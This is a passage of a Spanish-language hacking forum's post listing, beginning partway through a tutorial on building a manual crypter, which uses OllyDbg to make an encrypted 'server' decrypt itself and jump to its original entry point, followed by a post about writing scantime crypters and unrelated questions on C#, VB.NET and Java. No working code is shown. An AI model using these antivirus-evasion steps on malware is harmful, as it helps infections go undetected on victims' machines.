Ahora ya tenemos el código cifrado en disco, entonces ahora lo que tiene que hacer la rutina encriptadora/desencriptadora es descifrar el código y luego saltar al Entry Point Original, para ésto solo tenemos que cambiar el ret del código por un Nop con Olly:


Guardamos los cambios en disco y LISTO!! ya tenemso nuestro server cifrado con "nuestro crypter manual  ;D":


Fuente: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
#57
Bueno hace unos dias ya me meti en el desarrollo de crypters ya que nunca fue mi fuerte y tampoco nunca le dedique el tiempo necesario.
Dado que tengo experiencia en programacion de bajo nivel no he tenido problemas en familiarizarme con c++

Genere 3 cripters del tipo scantime, pero ahora quiero ir un poco mas allá, quiero programar mi propio PE con c++ trabajando con ASM junto a la libreria windows.h
he encontrado muy buenas fuentes sobre la arquitectura del PE y como funciona, conosco bastante bien su funcionamiento, he leido varios tutoriales muy completos algunos en ingles y uno muy muy bueno que es la versión en español por The Swash "PE Format under Windows"

Lo que no he encontrado es informacion sobre como trabajar con la libreria windows.h, quisiera saber si alguno ya a trabajado con ella, y podría darme una mano o este interesado en armar un PE conmigo. Dejo los links de la mejor informacion que he leido:

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Recomendado:
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
#58
Dudas y pedidos generales / Re:VB.NET o C#
Agosto 16, 2013, 05:31:38 PM
Podria denotar muchas cualidades buenas y exelentes de java, como desarrollador java de años, obviamente su rendimiento esta un poco por debajo q C++ pero java me parece un exelente lenguaje de programacion, muy flexible y muy potente. Fuera de ese comentario seguramente me pongo a leer tu taller y me compro algun librito de c# a ver si es lo q espero de este lenguaje, lo bueno q tiene es q es multiThreading
#59
Dudas y pedidos generales / [SOLUCIONADO] VB.NET o C#
Agosto 15, 2013, 11:26:13 PM
Bueno voy a empezar a estudiar un nuevo lenguaje de programación y estoy entre esos 2, yo vengo del mundo java y he escuchado q C# es mas parecido.

Quería conocer su opinion y cuales han sido su experiecia, y cual recomienda, y porq! y que tal se comportan orientados a Objetos
#60
fijate con fireDataTableChanged(). o notify() en el modelo luego de agregar los datos